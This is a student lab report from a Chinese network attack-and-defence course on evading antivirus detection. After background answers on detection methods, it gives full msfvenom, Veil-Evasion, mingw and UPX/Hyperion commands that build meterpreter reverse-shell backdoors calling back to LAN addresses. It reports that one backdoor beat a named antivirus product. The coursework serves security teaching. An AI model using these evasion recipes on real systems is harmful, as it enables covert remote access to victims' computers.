yanbb

2019-2020-2 网络对抗技术 20175233 Exp3 免杀原理与实践

1. 实践内容(4分)

方法(3分)

  • 正确使用msf编码器(0.5分),
  • msfvenom生成如jar之类的其他文件(0.5分),
  • veil(0.5分),
  • 加壳工具(0.5分),
  • 使用C + shellcode编程(0.5分),
  • 使用其他课堂未介绍方法(0.5分)
  • 通过组合应用各种技术实现恶意代码免杀(0.5分)
    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2 报告内容:

2.1.基础问题回答

  1. 杀软是如何检测出恶意代码的?

    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
    • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
    • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
  2. 免杀是做什么?

    • 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
  3. 免杀的基本方法有哪些?

    • 改变特征码
      • 只有EXE
        • 加壳(压缩壳 加密壳)
      • 有shellcode(像Meterpreter)
        • 利用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译
      • veil-evasion
      • 半手工
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
      • 非常规方法
        • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
        • 使用社工类攻击,诱骗目标关闭AV软件。
        • 纯手工打造一个恶意软件

实践总结与体会

  • 这次实验麻烦的就是安装veil,GitHub上不去,所以无法下载,解决方法:
    用记事本打开C:\windows\system32\drivers\etc\hosts,在最后添加:
#github
192.30.253.112 github.com 
192.30.253.119 gist.github.com
151.101.184.133 assets-cdn.github.com
151.101.184.133 raw.githubusercontent.com
151.101.184.133 gist.githubusercontent.com
151.101.184.133 cloud.githubusercontent.com
151.101.184.133 camo.githubusercontent.com
151.101.184.133 avatars0.githubusercontent.com
151.101.184.133 avatars1.githubusercontent.com
151.101.184.133 avatars2.githubusercontent.com
151.101.184.133 avatars3.githubusercontent.com
151.101.184.133 avatars4.githubusercontent.com
151.101.184.133 avatars5.githubusercontent.com
151.101.184.133 avatars6.githubusercontent.com
151.101.184.133 avatars7.githubusercontent.com
151.101.184.133 avatars8.githubusercontent.com
199.232.28.133  user-images.githubusercontent.com

但还是下载比较慢,浪费好多时间。由于实验二都配置差不多,其他的都很顺利就完成。

开启杀软能绝对防止电脑中恶意代码吗?

  • 不能。病毒可不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

实践过程记录

正确使用msf编码器

  • 将实验二中用msf命令生成的后门程序20175233_backdoor.exe放到VirusTotal中扫描:
    1.PNG

  • 生成exe文件

    • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使\'\x00\'不出现在shellcode中,因为shellcode以\'\x00\'为结束符,参数 -i 用于设置迭代次数.

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b \'\x00\' LHOST=192.168.3.101 LPORT=5233 -f exe > 20175233-encoded10.exe

  • 生成情况如下:
    2.1.3.PNG

  • 使用VirusTotal检测结果:
    1.PNG


msfvenom生成如jar之类的其他文件

  • 生成jar文件:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=5233 x> 20175233-msf-java.jar
    2.2.1.PNG

  • 使用VirusTotal检测结果:
    2.PNG


  • 生成php文件:
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.101 lport=5233 x> 20175233-msf-php.php
    2.2.2.PNG

  • 使用VirusTotal检测结果:
    3.PNG

  • msfvenom生成apk文件
    msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.3.101 lport=5233 x> 20175233-msf-apk.apk
    2.2.3.PNG

  • 使用VirusTotal检测结果:
    4.PNG


veil

  1. 安装过程
  • 更换镜像源,更换阿里云镜像源和中科大镜像源都可以,我选择的阿里云的镜像源具体,可以参考kali linux 更换镜像源
  • 安装以下软件
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
  • 安装veil
sudo apt-get install veil-evasion
  • 选择输入s,安装时默认选择提示选项

  1. 使用veil生成后门文件
  • 输入veil ,进入 veil 操作页面。
    2.3.1.PNG

  • 输入use 1命令进入veil-evasion
    2.3.2.PNG

  • 输入list进入选项列表
    2.3.3.PNG
    2.3.4.PNG

  • 输入命令use 22进入配置界面
    2.3.5.PNG

  • 设置反弹连接地址和端口

    • set LHOST 192.168.0.149
    • set LPORT 5233
    • options 查看选项。
      2.3.6.PNG
  • 输出保存

    • 输入 generate 生成文件
    • 接着输入你想要payload的名字:veil_powershell_5233
    • 可以看到文件保存路径:/var/lib/veil/output/source/veil_powershell_5233.bat
      2.3.7.PNG
  • 对生成的veil_powershell_5233.bat后门文件,VirusTotal 中扫描结果如下:


使用C + shellcode编程

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=5233 -f c生成一段 shellcode 。
    2.4.1.PNG

  • 创建一个文件20175233_exp3_sc.c,然后如下代码写入该文件中:

  • 使用mingw-w32将c语言文件生成exe文件
    i686-w64-mingw32-g++ NetSec/Exp3/20175233_sc.c -o 20175233ysy_sc.exe
    2.4.2.PNG

  • 对生成的 20175233ysy_sc.exe 后门文件扫描结果如下:
    5.PNG

  • 当想要使用windows上执行该程序时,被电脑的联想电脑管家隔离
    2.4.3.PNG


加壳工具

  • 尝试对上面的shellcode加壳:
    upx 20175233ysy_sc.exe -o 20175233ysy_sc_upx.exe
    2.5.1.PNG

  • 对生成的 20175233ysy_sc_upx.exe 后门文件扫描结果如下:
    6.PNG

  • 这时通过进行反弹连接,后门开启,获取了权限。
    11.PNG

55.png

联想电脑管家快速扫描 没有扫描出来。

  • 加密壳 Hyperion:

    • 进行加壳,将加壳的文件复制到 /usr/share/windows-resources/hyperion/ 中
    • 进入该目录。
    • 输入命令wine hyperion.exe -v 20175233ysy_sc_upx.exe 20175233ysy_sc_upx_hp.exe
      2.5.3.PNG
      2.5.4.PNG
  • 对生成的 20175233ysy_sc_upx_hp.exe 后门文件扫描结果如下:
    8.PNG

  • 这时通过进行反弹连接,后门开启,获取了权限。
    2.5.5.PNG

联想电脑管家快速扫描 没有扫描出来
55.png


使用其他课堂未介绍方法

  • 输入veil ,进入 veil 操作页面。

  • 输入use 1命令进入veil-evasion

  • 输入list进入选项列表

  • 选择 16) go/meterpreter/rev_tcp.py 。进入配置界面
    2.6.1.PNG

  • 设置反弹连接地址和端口

    • set LHOST 192.168.3.101
    • set LPORT 5233
    • options 查看选项。
  • 输出保存

    • 输入 generate 生成文件
    • 接着输入你想要payload的名字:veil_go_5233
    • 可以看到文件保存路径:/var/lib/veil/output/source/veil_go_5233.exe
      2.6.2.PNG
  • 对生成的veil_go_5233.exe后门文件扫描结果如下:
    9.PNG


通过组合应用各种技术实现恶意代码免杀

  • 方式:
    • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。
  • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=5233 -f c 生成一段 shellcode 写入一 C 文件。
  • 使用mingw-w32将c语言文件生成exe文件
    i686-w64-mingw32-g++ 20175233ysy_sc.c -o /20175233ysy_sc.exe

对其加壳:
upx 20175233ysy_sc.exe -o 20175233ysy_sc_upx.exe

这时通过进行反弹连接,后门开启,获取了权限。
11.PNG

联想电脑管家快速扫描 没有扫描出来。

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • Windows 10 1909 18363.720

  • 联想电脑管家 2.8.90.11211
    33.PNG

分类:

技术点:

相关文章: